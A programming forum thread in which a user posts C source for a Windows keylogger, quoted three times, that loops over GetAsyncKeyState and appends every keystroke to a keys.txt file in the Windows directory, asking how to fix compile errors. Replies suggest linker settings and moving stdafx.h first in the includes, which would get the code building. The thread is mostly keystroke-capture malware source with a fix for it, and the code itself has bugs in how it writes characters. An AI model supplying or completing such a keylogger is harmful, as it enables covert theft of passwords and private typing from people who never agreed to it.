Error while trying to implement KeyLogger
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I am trying to implement KeyLogger in our application. It give me following errors - 'GetWindowsDirectory': identifier not found and 'GetAsyncKeyState': identifier not found. I have already included the header files which are needed for these functions. Can anyone tell what I am doing wrong. I am using using following code - #include "Windows.h" #include "WinUser.h" #include "stdafx.h" #include ; #include ; #include ; void keys(int key,char *file) { FILE *key_file; key_file = fopen(file,"a+"); if (key==8) fprintf(key_file,"%s","[del]"); if (key==13) fprintf(key_file,"%s","\n"); if (key==32) fprintf(key_file,"%s"," "); if (key==VK_CAPITAL) fprintf(key_file,"%s","[Caps]"); if (key==VK_TAB) fprintf(key_file,"%s","[TAB]"); if (key ==VK_SHIFT) fprintf(key_file,"%s","[SHIFT]"); if (key ==VK_CONTROL) fprintf(key_file,"%s","[CTRL]"); if (key ==VK_PAUSE) fprintf(key_file,"%s","[PAUSE]"); if (key ==VK_KANA) fprintf(key_file,"%s","[Kana]"); if (key ==VK_ESCAPE) fprintf(key_file,"%s","[ESC]"); if (key ==VK_END) fprintf(key_file,"%s","[END]"); if (key==VK_HOME) fprintf(key_file,"%s","[HOME]"); if (key ==VK_LEFT) fprintf(key_file,"%s","[LEFT]"); if (key ==VK_UP) fprintf(key_file,"%s","[UP]"); if (key ==VK_RIGHT) fprintf(key_file,"%s","[RIGHT]"); if (key ==VK_DOWN) fprintf(key_file,"%s","[DOWN]"); if (key ==VK_SNAPSHOT) fprintf(key_file,"%s","[PRINT]"); if (key ==VK_NUMLOCK) fprintf(key_file,"%s","[NUM LOCK]"); if (key ==190 || key==110) fprintf(key_file,"%s","."); if (key >=96 && key <= 105) { key = key - 48; fprintf(key_file,"%s",&key); } if (key >=48 && key <= 59) fprintf(key_file,"%s",&key); if (key !=VK_LBUTTON || key !=VK_RBUTTON) { if (key >=65 && key <=90) { if (GetKeyState(VK_CAPITAL)) fprintf(key_file,"%s",&key); else { key = key +32; fprintf(key_file,"%s",&key); } } } fclose(key_file); } int _tmain(int argc, _TCHAR* argv[]) { char i; char test[1000]; GetWindowsDirectory(test,sizeof(test)); strcat(test,"//keys.txt"); while(1) { for(i=8;i<=190;i++) { if (GetAsyncKeyState(i) == -32767) { keys (i,test); } } } return 0; }
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I am trying to implement KeyLogger in our application. It give me following errors - 'GetWindowsDirectory': identifier not found and 'GetAsyncKeyState': identifier not found. I have already included the header files which are needed for these functions. Can anyone tell what I am doing wrong. I am using using following code - #include "Windows.h" #include "WinUser.h" #include "stdafx.h" #include ; #include ; #include ; void keys(int key,char *file) { FILE *key_file; key_file = fopen(file,"a+"); if (key==8) fprintf(key_file,"%s","[del]"); if (key==13) fprintf(key_file,"%s","\n"); if (key==32) fprintf(key_file,"%s"," "); if (key==VK_CAPITAL) fprintf(key_file,"%s","[Caps]"); if (key==VK_TAB) fprintf(key_file,"%s","[TAB]"); if (key ==VK_SHIFT) fprintf(key_file,"%s","[SHIFT]"); if (key ==VK_CONTROL) fprintf(key_file,"%s","[CTRL]"); if (key ==VK_PAUSE) fprintf(key_file,"%s","[PAUSE]"); if (key ==VK_KANA) fprintf(key_file,"%s","[Kana]"); if (key ==VK_ESCAPE) fprintf(key_file,"%s","[ESC]"); if (key ==VK_END) fprintf(key_file,"%s","[END]"); if (key==VK_HOME) fprintf(key_file,"%s","[HOME]"); if (key ==VK_LEFT) fprintf(key_file,"%s","[LEFT]"); if (key ==VK_UP) fprintf(key_file,"%s","[UP]"); if (key ==VK_RIGHT) fprintf(key_file,"%s","[RIGHT]"); if (key ==VK_DOWN) fprintf(key_file,"%s","[DOWN]"); if (key ==VK_SNAPSHOT) fprintf(key_file,"%s","[PRINT]"); if (key ==VK_NUMLOCK) fprintf(key_file,"%s","[NUM LOCK]"); if (key ==190 || key==110) fprintf(key_file,"%s","."); if (key >=96 && key <= 105) { key = key - 48; fprintf(key_file,"%s",&key); } if (key >=48 && key <= 59) fprintf(key_file,"%s",&key); if (key !=VK_LBUTTON || key !=VK_RBUTTON) { if (key >=65 && key <=90) { if (GetKeyState(VK_CAPITAL)) fprintf(key_file,"%s",&key); else { key = key +32; fprintf(key_file,"%s",&key); } } } fclose(key_file); } int _tmain(int argc, _TCHAR* argv[]) { char i; char test[1000]; GetWindowsDirectory(test,sizeof(test)); strcat(test,"//keys.txt"); while(1) { for(i=8;i<=190;i++) { if (GetAsyncKeyState(i) == -32767) { keys (i,test); } } } return 0; }
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Are you sure you have configurated properly additional linker dependencies for your project? GetWindowsDirectory requires kernel32.lib file.
Life is a stage and we are all actors!
Those look like compiler generated messages, not linker ones. :)
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler. -- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong. -- Iain Clarke
[My articles] -
I am trying to implement KeyLogger in our application. It give me following errors - 'GetWindowsDirectory': identifier not found and 'GetAsyncKeyState': identifier not found. I have already included the header files which are needed for these functions. Can anyone tell what I am doing wrong. I am using using following code - #include "Windows.h" #include "WinUser.h" #include "stdafx.h" #include ; #include ; #include ; void keys(int key,char *file) { FILE *key_file; key_file = fopen(file,"a+"); if (key==8) fprintf(key_file,"%s","[del]"); if (key==13) fprintf(key_file,"%s","\n"); if (key==32) fprintf(key_file,"%s"," "); if (key==VK_CAPITAL) fprintf(key_file,"%s","[Caps]"); if (key==VK_TAB) fprintf(key_file,"%s","[TAB]"); if (key ==VK_SHIFT) fprintf(key_file,"%s","[SHIFT]"); if (key ==VK_CONTROL) fprintf(key_file,"%s","[CTRL]"); if (key ==VK_PAUSE) fprintf(key_file,"%s","[PAUSE]"); if (key ==VK_KANA) fprintf(key_file,"%s","[Kana]"); if (key ==VK_ESCAPE) fprintf(key_file,"%s","[ESC]"); if (key ==VK_END) fprintf(key_file,"%s","[END]"); if (key==VK_HOME) fprintf(key_file,"%s","[HOME]"); if (key ==VK_LEFT) fprintf(key_file,"%s","[LEFT]"); if (key ==VK_UP) fprintf(key_file,"%s","[UP]"); if (key ==VK_RIGHT) fprintf(key_file,"%s","[RIGHT]"); if (key ==VK_DOWN) fprintf(key_file,"%s","[DOWN]"); if (key ==VK_SNAPSHOT) fprintf(key_file,"%s","[PRINT]"); if (key ==VK_NUMLOCK) fprintf(key_file,"%s","[NUM LOCK]"); if (key ==190 || key==110) fprintf(key_file,"%s","."); if (key >=96 && key <= 105) { key = key - 48; fprintf(key_file,"%s",&key); } if (key >=48 && key <= 59) fprintf(key_file,"%s",&key); if (key !=VK_LBUTTON || key !=VK_RBUTTON) { if (key >=65 && key <=90) { if (GetKeyState(VK_CAPITAL)) fprintf(key_file,"%s",&key); else { key = key +32; fprintf(key_file,"%s",&key); } } } fclose(key_file); } int _tmain(int argc, _TCHAR* argv[]) { char i; char test[1000]; GetWindowsDirectory(test,sizeof(test)); strcat(test,"//keys.txt"); while(1) { for(i=8;i<=190;i++) { if (GetAsyncKeyState(i) == -32767) { keys (i,test); } } } return 0; }
Try changing the order of include files as follows and check if it works #include "stdafx.h" #include "Windows.h" #include "WinUser.h"
